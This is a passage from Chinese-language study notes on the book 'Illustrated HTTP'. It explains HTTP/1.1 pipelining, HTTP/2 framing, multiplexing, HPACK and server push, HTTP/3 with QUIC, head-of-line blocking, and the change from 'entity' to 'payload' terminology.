但是隨著網際網路發展,資源包越來越大,對於網際網路的需求和挑戰也越來越大。

在後續 HTTP/1.1 中所有的連線預設都是持久連線,目的是減少客戶端和服務端的頻繁請求連線和響應。

支援HTTP1.1需要雙方都能支援持久連線才能完成通訊。

管道化

注意HTTP真正意義上的全雙工的協議是在HTTP/2才實現的,實現的核心是多路複用

管道化可以看做是為了讓半雙工的HTTP1.1也能支援全雙工協議的一種強化,通俗的話說就是圍魏救趙

全雙工協議:指的是HTTP連線的兩端不需要等待響應資料給對方就可以直接傳送請求給對方,實現同一時間內同時處理多個請求和響應的功能。

HTTP/1.1允許多個http請求透過一個套接字同時被輸出 ,而不用等待相應的響應(這裡提示一下管道化同樣需要連線雙方都支援才能完成)。

需要注意這裡本質上是在一個TCP請求封裝了多次請求然後直接丟給服務端去處理,客戶端接下來可以幹別的事情,要麼等待服務端慢慢等待,要麼自己去訪問別的資源。

客戶端透過FIFO佇列把多個TCP請求封裝成一個發給了服務端,服務端雖然可以透過處理FIFO佇列的多個請求,但是必須等所有請求完成再按照FIFO傳送的順序挨個響應回去,也就是說其實並沒有根本上解決堵塞問題。

管道化的技術雖然很方便,但是限制和規矩比好處要多得多,並且有點脫褲子放屁的意思。結果是並沒有十分普及也沒有多少服務端使用,多數的HTTP請求也會禁用管道化防止服務端請求堵塞遲遲不進行響應。

管道化小結

  1. 實際上管道化可以看做原本阻塞在客戶端一條條處理的請求,變為阻塞在服務端的一條條請求。
  2. 管道化請求通常是GET和HEAD請求,POST和PUT不需要管道化, 管道化只能利用已存在的keep-alive連線。
  3. 管道化是HTTP1.1協議下,伺服器不能很好處理並行請求的改進,但是這個方案不理想,圍魏救趙失敗並且最終被各大瀏覽器禁用掉。
  4. FIFO佇列的有序和TCP 的有序性區別可以簡單認為是強一致性和弱一致性的區別。FIFO佇列有序性指的是請求和響應必須按照佇列傳送的規則完全一樣,而TCP僅僅是保證了傳送和響應的大致邏輯順序,真實的情況和描述的情況可能不一致。
  5. 因為管道是把累贅丟給了服務端,從客戶端的角度來看自己完成了全雙工的通訊。實際上這只是偽全雙工通訊。

Cookie

Cookie的內容不是本書重點,如果需要了解相關知識可以直接往上查詢資料瞭解,基本一抓一大把。

2.2.5 HTTP/2](https://www.ietf.org/archive/...))

HTTP2的協議改動比較大,從整體上來看主要是下面一些重要調整:

  • SPDY:這個概念是谷歌提出的,起初是希望作為一個獨立協議,但是最終SPDY的相關技術人員參與到了HTTP/2,所以谷歌瀏覽器後面全面支援HTTP/2放棄了SPDY單獨成為協議的想法,對於SPDY,具有如下的改進點:
  • HTTP Speed + Mobility:微軟提出改善移動端通訊的速度和效能標準,它建立在 Google 公司提出的 SPDY與 WebSocket 的基礎之上。
  • Network-Friendly HTTP Upgrade:移動端通訊時改善 HTTP 效能。

從三者的影響力來看,顯然是Google的影響力是最大的,從HTTP3.0開始以谷歌發起可以看出HTTP協議的標準制定現在基本就是谷歌說了算。

接著我們就來看看最重要SPDY,谷歌是一個極客公司,SPDY可以看做是HTTP1.1和HTTP/2正式釋出之間谷歌弄出來的一個提高HTTP協議傳輸效率的“玩具” ,重點最佳化了HTTP1.X的請求延遲問題,以及解決HTTP1.X的安全性問題:

  • 降低延遲(多路複用):使用多路複用來降低高延遲的問題,多路複用指的是使用Stream讓多個請求可以共享一個TCP連線,解決HOL Blocking(head of line blocking)(隊頭阻塞)的問題,同時提升頻寬利用率。

    • HTTP1.1中keep-alive用的是http pipelining本質上也是multiplexing,但是具體實現方案不理想 。
    • 主流瀏覽器都預設禁止pipelining,也是因為HOL阻塞問題導致。
  • 服務端推送:HTTP1.X的推送都是半雙工,所以在2.0是實現真正的服務端發起請求的全雙工,另外在WebSocket在這全雙工一塊大放異彩。
  • 請求優先順序:針對引入多路複用的一個兜底方案,多路複用使用多個Stream的時候容易單請求阻塞問題。也就是前文所說的和管道連線一樣的問題,SPDY透過設定優先順序的方式讓重要請求優先處理,比如頁面的內容應該先進行展示,之後再載入CSS檔案美化以及載入指令碼互動等等,實際減少使用者不會在等待過程中關閉頁面到機率。
  • Header壓縮:HTTP1.X的header很多時候都是多餘的,所以2.0 會自動選擇合適的壓縮演算法自動壓縮請求加快請求和響應速度。
  • 基於HTTPS的加密協議傳輸:HTTP1.X 本身是不會加入SSL加密的,而2.0 讓HTTP自帶SSL,從而提高傳輸可靠和穩定性。

這些內容在後續大部分都被HTTP/2 採納,下面就來看看HTTP/2具體的實施細節。

HTTP/2具體實施(重點)

當然這一部分也只講到了協議中一些重點的升級內容,詳細內容請參考“參考資料”活著點選HTTP/2的標題。

二進位制幀(Stream)

HTTP/2 使用流(二進位制)替代 ASCII 編碼傳輸提升傳輸效率,客戶端傳送的請求都會封裝為帶有編號的二進位制幀,然後再傳送給服務端處理。

HTTP/2 透過 一個TCP連線完成多次請求操作,服務端接受流資料並且檢查編號將其合併為一個完整的請求內容,這樣同樣需要按照二進位制幀的拆分規則拆分響應。像這樣利用二進位制分幀 的方式切分資料,客戶端和服務端只需要一個請求就可以完成通訊,也就是SPDY提到的多個Stream 合併到一個TCP連線中完成。

二進位制分幀把資料切分成更小的訊息和幀,採用了二進位制的格式進行編碼,在HTTP1.1 當中首部訊息封裝到Headers當中,然後把Request body 封裝到 Data幀。

HTTP2.0

使用二進位制分幀目的是向前相容,需要在應用層和傳輸層之間加一層二進位制分幀層,讓HTTP1.X 協議更加簡單的升級同時不會對過去的協議產生衝突 。

幀、訊息、Stream之間的關係

  • 幀:可以認為是流當中的最小單位。
  • 訊息:表示HTTP1.X中的一次請求。
  • Stream:包含1條或者多條message。

二進位制分幀結構

二進位制分幀結構主要包含了頭部幀和資料幀兩個部分,頭部在幀數只有9個位元組,注意R屬於標誌位保留。所以整個算下來是:

3個位元組幀長度+1個位元組幀型別 + 31bit流識別符號、1bit未使用標誌位 構成。

image-20220801174510263

幀長度:資料幀長度,24位的3位元組大小,取值為 2^14(16384) - 2^24(1677215)之間,接收方的 SETTINGS_MAS_FRAM_SIZE 設定。

幀型別:分辨資料幀還是控制幀。

標誌位:攜帶簡單控制資訊,標誌位表示流的優先順序。

流識別符號:表示幀屬於哪一個流的,上限為2的31次方,接收方需要根據流標識的ID組裝還原報文,同一個Stream的訊息必須是有序的。此外客戶端和服務端分別用奇數和偶數標識流,併發流使用了標識才可以應用多路複用。

R:1位保留標誌位,暫未定義,0x0為結尾。

幀資料:實際傳輸內容由幀型別指定。

如果想要知道更多細節,可以參考“參考資料”部分的官方介紹以及結合WireShark抓包使用,本讀書筆記沒法面面俱到和深入

最後是補充幀型別的具體內容,幀型別定義了10種型別的幀數:

image-20220801174445090

多路複用 (Multiplexing)

有了前面二進位制幀結構的鋪墊,現在再來看看多路複用是怎麼回事,這裡首先需要說明在過去的HTTP1.1中存在的問題:

同一時間同一域名的請求存在訪問限制,超過限制的請求會自動阻塞。

在傳統的解決方案中是利用多域名訪問以及伺服器分發的方式讓資源到特定伺服器載入,讓整個頁面的響應速度提升。比如利用多個域名的CDN進行訪問加速

隨著HTTP/2的更新,HTTP2改用了二進位制幀作為替代方案,允許單一的HTTP2請求複用多個請求和響應內容,也就是說可以一個包裡面打包很多份“外賣”一起給你送過來。

image-20220801174432454

此外,流控制資料也意味著可以支援多流並行而不過多依賴TCP,因為通訊縮小為一個個幀,幀內部對應了一個個訊息,可以實現並行的交換訊息。

Header壓縮(Header Compression)

HTTP1.X 不支援Header壓縮,如果頁面非常多的去看下會導致頻寬消耗和不必要的浪費。

針對這個問題在SPDY中 的解決方案是利用DEFLATE 格式的欄位,這種設計非常有效,但是實際上存在CRIME資訊洩露的攻擊手段。

在HTTP/2 當中定義了HPACK,HPACK演算法透過靜態的哈夫曼編碼對於請求頭部進行編碼減少傳輸大小,但是需要讓客戶端和服務端之間維護首部表,首部表可以維護和儲存之前發過的鍵值對資訊,對於重複傳送的報文內容可以直接透過查表獲取,減少冗餘資料產生,後續的第二個請求將會傳送不重複的資料。

HPACK壓縮演算法主要包含兩個模組,索引表哈夫曼編碼,索引表同時分為動態表和靜態表,靜態表內部預定義了61個Header的K/V 數值,而動態表是先進先出的佇列,初始情況下內容為空,而解壓header則需要每次新增的時候放到隊頭,移除從隊尾開始。

注意動態表為了防止過度膨脹佔用記憶體導致客戶端崩潰,在超過一定長度過後會自動釋放HTTP/2請求。

HPACK演算法

HPACK演算法是對於哈夫曼演算法的一種應用和改進,哈夫曼演算法經典案例是就是ZIP壓縮,也就是雖然我們可能不清楚卻是可能天天在用的一個東西。

HPACK演算法的思路是在客戶端和服務端兩邊各維護一個雜湊表,然後雙端透過表中快取Headers欄位減少流中二進位制資料傳輸,進而提高傳輸效率。

HPACK三個主要元件有如下細節:

  • 靜態表:HTTP2為出現在頭部的字串和欄位靜態表,包含61個基本的headers內容,
  • 動態表:靜態表只有61個欄位,所以利用動態表儲存不在靜態表的欄位,從62開始進行索引,在傳輸沒有出現的欄位時候,首先對於建立索引號,然後字串需要經過哈夫曼編碼完成二進位制轉化發給伺服器,如果是第二次傳送則找到對應的動態表的索引找到即可,這樣有效避免一些冗餘資料的傳輸。
  • 哈夫曼編碼:這一演算法非常重要,對於近代網際網路的發展有著重大影響。
哈夫曼編碼:是一種用於無損資料壓縮熵編碼(權編碼)演算法。由美國電腦科學家大衛·霍夫曼(David Albert Huffman)在1952年發明。 霍夫曼在1952年提出了最優二叉樹的構造方法,也就是構造最優二元字首編碼的方法,所以最優二叉樹也別叫做霍夫曼樹,對應最優二元字首碼也叫做霍夫曼編碼。

下面為哈夫曼編碼對應的原始論文:

哈夫曼編碼原始論文:

連結:https://pan.baidu.com/s/1r_yO...
提取碼:694k

此外這裡有個講的比較通俗的霍夫曼的影片,強烈建議反覆觀看,能幫你快速瞭解哈夫曼編碼是怎麼回事,當然前提是得會使用魔法。

https://www.youtube.com/watch?v=Jrje7ep5Ff8&t=29s

請求優先順序

請求優先順序實際上並不是HTTP/2才出現的,在此之前的的RFC7540中定義了一套優先順序的相關指令,但是由於它過於複雜最後並沒用被普及,但是裡面的資訊依然是值得參考的。

HTTP/2的內容取消了所有關於RFC7540優先順序的指令,所有的描述被刪除並且被保留在原本的協議當中。

HTTP/2利用多路複用,所以有必要優先使用重要的資源分配到前面優先載入,但是實際上在實現方案過程中優先順序是不均衡的,許多伺服器實際上並不會觀察客戶端的請求和行為。

最後還有根本性的缺點,也就是TCP層是無法並行的,在單個請求當中的使用優先順序甚至有可能效能弱於HTTP1.X。

流量控制

所謂流量控制就是資料流之間的競爭問題,需要注意HTTP2只有流資料才會進行控制,透過使用WINDOW_UPDATE幀來提供流量控制。

注意長度不是4個八位位元組的window_update 幀需要視為 frame_size_error的錯誤進行響應。

PS:下面的設計中有效載荷是保留位+ 31位的無符號整數,表示除了現在已經有的流控制視窗之外還能額外傳輸8個位元組數的資料,所以最終合法範圍是 1到 2^31 - 1 (2,147,483,647) 個八位位元組。
WINDOW_UPDATE Frame {
  Length (24) = 0x04,
  Type (8) = 0x08,

  Unused Flags (8),

  Reserved (1),
  Stream Identifier (31),

  Reserved (1),
  Window Size Increment (31),
}

對於流量控制,存在下面幾個顯著特徵:

  • 流量控制需要基於HTTP中間的各種代理伺服器控制,不是非端到端的控制;
  • 基於信用基礎公佈每個流在每個連線上接收了多少位元組,WINDOW_UPDATE 框架沒有定義任何標誌,並沒有強制規定;
  • 流量的控制存在方向概念,接收方負責流量控制,並且可以設定每一個流視窗的大小;
  • WINDOW_UPDATE 可以對於已設定了 END_STREAM 標誌的幀進行傳送,表示接收方這時候有可能進入了半關閉或者已經關閉的狀態接收到WINDOW_UPDATE幀,但是接收者不能視作錯誤對待;
  • 接收者必須將接收到流控制視窗增量為 0 的 WINDOW_UPDATE 幀視為PROTOCOL_ERROR型別的流錯誤 ;

伺服器推送

伺服器推送意圖解決HTTP1.X中請求總是從客戶端發起的弊端,服務端推送的目的是更少客戶端的等待以及延遲。但是實際上服務端推送很難應用,因為這意味著要預測使用者的行為。服務端推送包含推送請求推送響應的部分。

推送請求

推送請求使用PUSH_PROMISE 幀作為傳送,這個幀包含欄位塊,控制資訊和完整的請求頭欄位,但是不能攜帶包含訊息內容的相關資訊,因為是指定的幀結構,所以客戶端也需要顯式的和服務端進行關聯,所以服務端推送 請求也叫做“Promised requests”。

當請求客戶端接收之後是傳送CONTINUATION幀,CONTINUATION幀頭欄位必須是一組有效的請求頭欄位,伺服器必須透過":method"偽欄位頭部新增安全可快取的方法,如果客戶端收到的快取方法不安全則需要在PUSH_PROMISE幀上響應錯誤,這樣的設計有點類似兩個特務對暗號,一個暗號對錯了就得立馬把對方弊了。

PUSH_PROMISE可以在任意的客戶端和服務端進行傳輸,但是有個前提是流對於伺服器需要保證“半關閉“或者“開啟“的狀態,否則不允許透過CONTINUATION或者HEADERS 欄位塊傳輸。

PUSH_PROMISE幀只能透過服務端發起,因為專為服務端推送設計,使用客戶端推送是“不合法“的。

PUSH_PROMISE 幀結構:

再次強調有效載荷是一個保留位+ 31位的無符號整數。有效載荷是什麼?是對於HTTP1.1協議中實體的術語重新定義,可以簡單看做是報文的請求Body。

下面是對應得原始碼定義:

PUSH_PROMISE幀定義

PUSH_PROMISE Frame {
  Length (24),
  Type (8) = 0x05,
  
  Unused Flags (4),
  PADDED Flag (1),
  END_HEADERS Flag (1),
  Unused Flags (2),

  Reserved (1),
  Stream Identifier (31),

  [Pad Length (8)],
  Reserved (1),
  Promised Stream ID (31),
  Field Block Fragment (..),
  Padding (..2040),
}

CONTINUATION 幀:用於請求接通之後繼續傳輸,注意這個幀不是專用於服務端推送的。

CONTINUATION Frame {
  Length (24),
  Type (8) = 0x09,

  Unused Flags (5),
  END_HEADERS Flag (1),
  Unused Flags (2),

  Reserved (1),
  Stream Identifier (31),

  Field Block Fragment (..),
}

推送響應

如果客戶端不想接受請求或者伺服器發起請求的時間過長,可以透過RST_STREAM 幀程式碼標識傳送CANCEL 或者REFUSED_STREAM 內容告訴伺服器自己不接受服務端請求推送。

而如果客戶端需要接收這些響應資訊,則需要按照之前所說傳遞CONTINUATION以及PUSH_PROMISE接收服務端請求。

其他特點:

  1. 客戶端可以使用SETTINGS_MAX_CONCURRENT_STREAMS設定來限制伺服器可以同時推送的響應數量。
  2. 如果客戶端不想要接收服務端的推送流,可以把SETTINGS_MAX_CONCURRENT_STREAMS設定為0或者重置PUSH_PROMISE保留流進行處理。

2.2.6 HTTP/3

進度追蹤:RFC 9114 - HTTP/3 (ietf.org)

為什麼會存在3?

可以發現HTTP/2雖然有了質的飛躍,但是因為TCP協議本身的缺陷,隊頭阻塞的問題依然可能存在,同時一旦出現網路擁堵會比HTTP1.X情況更為嚴重(使用者只能看到一個白板)。

所以後續谷歌的研究方向轉為研究QUIC,實際上就是改良UDP協議來解決TCP協議自身存在的問題。但是現在看來這種改良不是很完美,目前國內部分廠商對於QUIC進行自己的改進。

HTTP/3 為什麼選擇UDP

這就引出另一個問題,為什麼3.0有很多協議可以選擇,為什麼使用UDP?通常有下面的幾個點:

  • 基於TCP 協議的裝置很多,相容十分困難。
  • TCP是Linux內部的重要組成,修改非常麻煩,或者說壓根不敢動。
  • UDP本身無連線的,沒有建立連線和斷連的成本。
  • UDP資料包本身就不保證穩定傳輸所以不存在阻塞問題(屬於愛要不要)。
  • UDP改造相對其他協議改造成本低很多

HTTP/3 新特性

  • QUIC(無隊頭阻塞):最佳化多路複用,使用QUIC協議代替TCP協議解決隊頭阻塞問題,QUIC也是基於流設計但是不同的是一個流丟包只會影響這一條流的資料重傳,TCP 基於IP和埠進行連線,多變的行動網路環境之下十分麻煩,QUIC透過ID識別連線,只要ID不變,網路環境變化是可以迅速繼續連線的。
  • 0RTT:注意建立連線的0TT在HTTP/3上目前依然沒有實現,至少需要1RTT。

RTT:RTTRound Trip Time的縮寫,簡單來說就是通訊一來一回的時間。 RTT包含三部分:

  • 往返傳播延遲。
  • 網路裝置排隊延遲。
  • 應用程式處理延遲。

HTTPS建立完整連線通常需要TCP握手和TLS握手,至少要2-3個RTT,普通的HTTP也至少要1個RTT。QUIC的目的是除開初次連線需要消耗1RTT時間之外,其他的連線可以實現0RTT。

為什麼無法做到初次互動0RTT? 因為初次傳輸說白了依然需要傳輸兩邊到金鑰資訊,因為存在資料傳輸所以依然需要1個RTT的時間完成動作,但是在完成握手之後的資料傳輸只需要0RTT的時間。
  • 前向糾錯:QUIC的資料包除了本身的內容之外,還允許攜帶其他資料包,在丟失一個包的時候,透過攜帶其他包的資料獲取到丟包內容。

    具體要怎麼做呢?例如3個包丟失一個包,可以透過其他資料包(實際上是校驗包)異或值計算出丟失包的“編號”然後進行重傳,但是這種異或操作只能針對一個資料包丟失計算,如果多個包丟失,用異或值是無法算出一個以上的包的,所以這時候還是需要重傳(但是QUIC重傳代價比TCP的重傳低很多)。

  • 連線遷移:QUIC放棄了TCP的五元組概念,使用了64位的隨機數ID充當連線ID,QUIC 協議在切換網路環境的時候只要ID一致就可以立馬重連。對於現代社會經常wifi和手機流量切換的情況十分好用的一次改進。

術語解釋⚠️:

5元組:是一個通訊術語,英文名稱為five-tuple,或5-tuple,通常指由源Ip (source IP), 源埠(source port),目標Ip (destination IP), 目標埠(destination port),4層通訊協議 (the layer 4 protocol)等5個欄位來表示一個會話,是會話哦。
這個概念在《網路是怎麼樣連線的》這本書中也有提到類似的概念。那就是在第一章中建立套接字的步驟,建立套接字實際上就需要用到這個五元祖的概念,因為要建立“通道”需要雙方給自告知自己的資訊給對方自己的IP和埠,這樣才能完成通道建立和後續的協議通訊。

順帶擴充一下4元組和7元組。

4元組:即用4個維度來確定唯一連線,這4個維度分別是源Ip (source IP), 源埠(source port),目標Ip (destination IP), 目標埠(destination port)

7元組:即用7個欄位來確定網路流量,即源Ip (source IP), 源埠(source port),目標Ip (destination IP), 目標埠(destination port),4層通訊協議 (the layer 4 protocol),服務型別(ToS byte),介面索引(Input logical interface (ifIndex))

  • 加密認證的報文:QUIC 預設會對於報文頭部加密,因為TCP頭部公開傳輸,這項改進非常重要。
  • 流量控制,傳輸可靠性:QUICUDP 協議上加了一層資料可靠傳輸的可靠性傳輸,因此流量控制和傳輸可靠性都可以得到保證。
  • 幀格式變化

    下面是網上資料對比HTTP2和3之間的格式差距,可以發現HTTP/3 幀頭只有兩個欄位:型別和長度。幀型別用來區分資料幀和控制幀,這一點是繼承自HTTP/2的變化,資料幀包含HEADERS幀,DATA幀,HTTP包體。

    幀格式變化

  • 關於2.0的頭部壓縮演算法升級成了 QPACK演算法:需要注意HTTP3的 QPACK演算法與 HTTP/2 中的 HPACK 編碼方式相似,HTTP/3 中的 QPACK 也採用了靜態表、動態表及 Huffman 編碼。

    那麼相對於之前的演算法HPACKQPACK演算法有什麼升級呢?首先HTTP/2 中的 HPACK 的靜態表只有 61 項,而 HTTP/3 中的 QPACK 的靜態表擴大到 91 項。

    最大的區別是對於動態表做了最佳化,因為在HTTP2.0中動態表存在時序性的問題。

    所謂時序性問題是在傳輸的時候如果出現丟包,此時一端的動態表做了改動,但是另一端是沒改變的,同樣需要把編碼重傳,這也意味著整個請求都會阻塞掉。

時序性問題

因此HTTP3使用UDP的高速,同時保持QUIC的穩定性,並且沒有忘記TLS的安全性,在2018年的YTB直播中宣佈QUIC作為HTTP3的標準。

YTB 地址:(2) IETF103-HTTPBIS-20181108-0900 - YouTube,可憐網際網路的天花板協議制定團隊IETF連1萬粉絲都沒有。

HTTP3協議改進

2.3 HTTP部分問題討論

2.3.1 隊頭阻塞問題(head of line blocking)

隊頭阻塞問題不僅僅只是處在HTTP的問題,實際上更加底層的協議以及網路裝置通訊也會存線上頭阻塞問題。

交換機

當交換機使用FIFO佇列作為緩衝埠的緩衝區的時候,按照先進先出的原則,每次都只能是最舊的網路包被髮送,這時候如果交換機輸出埠存在阻塞,則會發生網路包等待進而造成網路延遲問題。

但是哪怕沒有隊頭阻塞,FIFO佇列緩衝區本身也會卡住新的網路包,在舊的網路包後面排隊傳送,所以這是FIFO佇列本身帶來的問題。

有點類似核酸排隊,前面的人不做完後面的人做不了,但是前面的人一直不做,後面也只能等著。

交換機HO問題解決方案

使用虛擬輸出佇列的解決方案,這種方案的思路是隻有在輸入緩衝區的網路包才會出現HOL阻塞,頻寬足夠的時候不需要經過緩衝區直接輸出,這樣就避免HOL阻塞問題。

無輸入緩衝的架構在中小型的交換機比較常見。

線頭阻塞問題演示

交換機:_交換機根據 MAC 地址表查詢 MAC 地址, 然後將訊號傳送到相應的埠_一個網路訊號轉接裝置,有點類似電話局中轉站。

線頭阻塞示例:第 1 和第 3 個輸入流競爭時,將資料包傳送到同一輸出介面,在這種情況下如果交換結構決定從第 3 個輸入流傳輸資料包,則無法在同一時隙中處理第 1 個輸入流。

請注意,第一個輸入流阻塞了輸出介面 3 的資料包,該資料包可用於處理。

無序傳輸

因為TCP不保證網路包的傳輸順序,所以可能會導致亂序傳輸,HOL阻塞會顯著的增加資料包重新排序問題。

同樣為了保證有損網路可靠訊息傳輸,原子廣播演算法雖然解決這個問題,但是本身也會產生HOL阻塞問題,同樣是由於無序傳輸帶來的通病。

Bimodal Multicast 演算法是一種使用 gossip 協議的隨機演算法,透過允許亂序接收某些訊息來避免線頭阻塞。

HTTP線頭阻塞

HTTP 在 2.0 透過多路複用的方式解決了HTTP協議的弱點並且真正意義上消除應用層HOL阻塞問題,但是TCP協議層的無序傳輸依然是無法解決的。

於是在3.0中直接更換TCP協議為 QUIC 協議消除傳輸層的HOL阻塞問題。

2.4.2 HTTP/2 全雙工支援

注意HTTP直到2.0才是真正意義上的全雙工,所謂的HTTP支援全雙工是混淆了TCP協議來講的,因為TCP是支援全雙工的,TCP可以利用網路卡同時收發資料。

為了搞清楚TCP和HTTP全雙工的概念, 應該理解HTTP中雙工的兩種模式:半雙工(http 1.0/1.1),全雙工(http 2.0)

半雙工:同一時間內連結上只能有一方傳送資料而另一方接受資料。

  • http 1.0 是短連線模式,每個請求都要建立新的 tcp 連線,一次請求響應之後直接斷開,下一個請求重複此步驟。
  • http 1.1 是長連線模式,可以多路複用,建立 tcp 連線不會立刻斷開,資源1 傳送響應,資源2 傳送響應,資源3 傳送響應,免去了要為每個資源都建立一次 tcp 的開銷。

全雙工:同一時間內兩端都可以傳送或接受資料 。

  • http 2.0 資源1客戶端傳送請求不必等待響應就可以繼續傳送資源2 的請求,最終實現一邊發,一邊收。

2.4.3 HTTP 2.0 缺點

  • 解決了HTTP的隊頭請求阻塞問題,但是沒有解決TC P協議的隊頭請求阻塞問題,此外HTTP/2需要同時使用TLS握手和 HTTP握手耗時,同時在HTTPS連線建立之上需要使用TLS進行傳輸。
  • HTTP/2的隊頭阻塞出現在當TCP出現丟包的時候,因為所有的請求被放到一個包當中,所以需要重傳,TCP 此時會阻塞所有的請求。但是如果是HTTP1.X,那麼至少是多個TCP連線效率還要高一些,
  • 多路複用會增大伺服器壓力,因為沒有請求數量限制,短時間大量請求會瞬間增大伺服器壓力
  • 多路複用容易超時,因為多路複用無法鑑定頻寬以及伺服器能否承受多少請求。

丟包不如HTTP1.X

丟包的時候出現的情況是HTT P2.0因為請求幀都在一個TCP連線,意味著所有的請求全部要跟著TCP阻塞,在以前使用多個TCP連線來完成資料互動,其中一個阻塞其他請求依然可以正常抵達反而效率高。

二進位制分幀目的

根本目的其實是為了讓更加有效的利用TCP底層協議,使用二進位制傳輸進一步減少資料在不同通訊層的轉化開銷。

HTTP1.X的Keep-alive缺點

  • 必須按照請求響應的順序進行互動,HTTP2的多路複用則必須要按順序響應。
  • 單個TCP一個時刻處理一個請求,但是HTTP2同一個時刻可以同時傳送多個請求,同時沒有請求上限。

2.4.4 HTTP協議真的是無狀態的麼?

仔細閱讀HTTP1.x和HTTP/2以及HTTP3.0三個版本的對比,其實會發現HTTP無狀態的定義偷偷發生了變化的,為什麼這麼說?

在講解具體內容之前,我們需要弄清一個概念,那就是Cookie和Session雖然讓HTTP實現了“有狀態”,但是其實這和HTTP協議本身的概念是沒有關係的。

CookieSession的出現根本目的是保證會話狀態本身的可見性,兩者透過創立多種獨立的狀態“模擬”使用者上一次的訪問狀態,但是每一次的HTTP請求本身並不會依賴上一次HTTP的請求,單純從廣義的角度看待其實所有的服務都是有狀態的,但是這並不會干擾HTTP1.X本身無狀態的定義。

此外HTTP協議所謂的無狀態指的是每個請求是完全的獨立的,在1.0備忘錄定義也可以看出一次HTTP連線其實就是一次TCP連線,到了HTTP1.1實現了一個TCP多個HTTP連線依然是可以看做獨立的HTTP請求。

說了這麼多,其實就是說HTTP1.X在不靠Cookie和Session扶著的時候看做無狀態是對的,就好比遊戲裡面的角色本身的數值和武器附加值的對比,武器雖然可以讓角色獲得某種狀態,但是這種狀態並不是角色本身特有的,而是靠外力借來的。

然而隨著網際網路發展,到了HTTP/2和HTTP3之後,HTTP本身擁有了“狀態”定義。比如2.0關於HEADER壓縮產生的HPACK演算法(需要維護靜態表和動態表),3.0還對HPACK演算法再次升級為QPACK讓傳輸更加高效。

所以總結就是嚴謹的來說HTTP1.X是無狀態的,在Cookie和Session的輔助下實現了會話訪問狀態的保留。

到了HTTP/2之後HTTP是有狀態的, 因為在通訊協議中出現了一些狀態表來維護雙方重複傳遞的Header欄位減少資料傳輸。

2.4 小結

這一章節本來應該是全書的核心內容,奈何作者似乎並不想讓讀者畏懼,所以講的比較淺顯,個人花費了不少精力收集網上資料結合自己的思考整理出第二章的內容。

關於HTTP的整個發展史是有必要掌握的,因為八股有時候會提到相關問題,問的深入一些確實有些頂不住,HTTP 協議也是應用層通訊協議的核心,其次作為WEB開發人員個人認為是更是有必要掌握的。

另外瞭解HTTP的設計本身可以讓我們過渡到TCP協議的瞭解,TCP的設計導致了HTTP設計的影響等問題可以做更多思考。

關於更多內容建議可以看看《網路是怎麼樣連線》的這一篇讀書筆記,原書從整個TCP/IP 結構的角度通俗的講述了有關網際網路發展的基本脈絡,而這一篇講述了HTTP發展的基本歷史和未來的發展方向。

三、《圖解HTTP》- 報文內的 HTTP資訊

知識點

  1. HTTP 請求報文結構。
  2. 請求報文和主體差異,介紹有關報文和主體相關的一些概念資訊。
  3. 內容協商:什麼是內容協商?關於內容協商的幾種方式。

3.1 HTTP請求報文結構

請求和響應報文的結構如下:

HTTP請求報文結構

下面是有關請求報文請求和響應的案例。

請求報文請求和響應的案例

3.2 報文和主體差異

為了提高HTTP傳輸效率,在請求中可以透過HTTP請求報文和實體加工的方式對於報文原文進行“編碼”,這裡的編碼並不是單指文字字串,而是更抽象意義上的編碼。

介紹具體的內容之前我們需要先分清楚兩個術語:報文實體

報文:是HTTP通訊中的基本單位,由8位組 位元組流(octet sequence,其中octet為8個位元)組成,透過HTTP通訊傳輸。

實體(entity):作為請求或響應的 有效載荷資料(補充項)被傳輸,其內容由實體首部和實體主體組成。

為了理解實體的概念,需要了解有效載荷是怎麼一回事:

負載)(英語:Payload):負載指的是需要傳輸的實體資料資訊,這也是為什麼叫資料實體的原因。當然也可以叫做信頭與後設資料,或稱為開銷資料,僅用於輔助資料傳輸。

(header):指的是在一塊資料儲存或傳輸之際在頭追加的資料,這些資訊是對資料區的描述。

後設資料(英語:metadata):……為描述其他資料資訊的資料。

劃掉實體是因為術語實體(entity)被有效載荷(payload)代替,書中所提到2616版本很多解釋已經被廢棄了,現在RFC 2616 已經被 RFC 7230 、 7235 取

代了。

下面這篇文章中討論了實體和載荷的區別,以及為什麼要取代載荷

#109 (Clarify entity / representation / variant terminology) – Hypertext Transfer Protocol Wiki (ietf.org)

有關負載的解釋

原文:

Replaced entity with payload and variant with representation. Cleaned up description of 204 status code (related to ticket #22) Rewrote section on Content-Location and refer to def in RFC2557.

另外維基上有一個關於生活當中“有效載荷”的術語解釋,透過描述可以從側面理解官方為什麼突然要把實體的概念重新解釋。

摘自維基百科“有效載荷”:
有效載荷是飛機運載火箭攜帶的物體。有時,有效載荷也指飛機或運載火箭能夠承載的重量。根據任務的性質,載具的有效載荷可能是貨物乘客機組人員彈藥、科學儀器或實驗或其他裝置。如果可以選擇性攜帶,那額外的燃料也會被視為有效載荷的一部分,如空中加油任務。

個人認為負載(叫負荷也可以)這個解釋要比實體這個解釋好理解一些(實體稍顯抽象),並且不會丟失實體本身的含義。

接著我們透過對比Chrome和Edge瀏覽器,發現在目前的版本中均存在負載的概念,過去的版本中實際上這部分內容被放到報文的請求實體 中,很顯然這是不嚴謹的,在那個時候被稱作實體

當然這兩年這部分悄悄做了調整,顯然在後續RFC修訂協議過程中這些瀏覽器也對於這些概念進行跟進,不知道有多少人關注過,嗯,又是一個小細節。

Edge的“負載”

Chrome的Payload

所以負載概念取代實體概念目的是防止混淆(因為確實很容易搞混),實際上實體也分為首部和其他資訊,實體首部是對該負載的描述,而負載和其它一些資訊(請求行/狀態行、各種首部欄位等等)組織成報文進行傳輸。

書中有這樣的圖幫助我們瞭解實體和報文的差別,這張圖也能說明為什麼很多解釋會把報文和實體(有效負載)看做是訂單和貨物的關係。

請求和響應報文結構

更頭疼的概念

實際上還用更容易混淆的概念,message bodypayload body

根據 RFC 7230

HTTP 報文的報文主體(message body)(如果存在的話)是用來運載請求或響應的有效載荷主體(payload body)的。除非應用了傳輸編碼,報文主體等價於有效載荷主體

換句話說只有在應用了傳輸編碼的時候,負載=實體首部+實體主體,目前主要應用的傳輸編碼是Transfer-Encoding: chunked,也就是分塊傳輸的去看下負載的概念會出現轉變,否則可以簡單看做是報文的請求Body。

HTTP報文的主體用於傳輸請求或響應的實體主體,對於主體的處理最佳化HTTP在後續的版本中實現了下面這些特性:

  1. 壓縮傳輸
  2. 分塊傳輸編碼
  3. 多資料多物件集合

壓縮傳輸

首先需要明確到的是壓縮是在負載上面完成的,並且壓縮需要保證資訊不遺失的原樣壓縮,否則壓縮不完整的資料會導致資料發生錯誤。

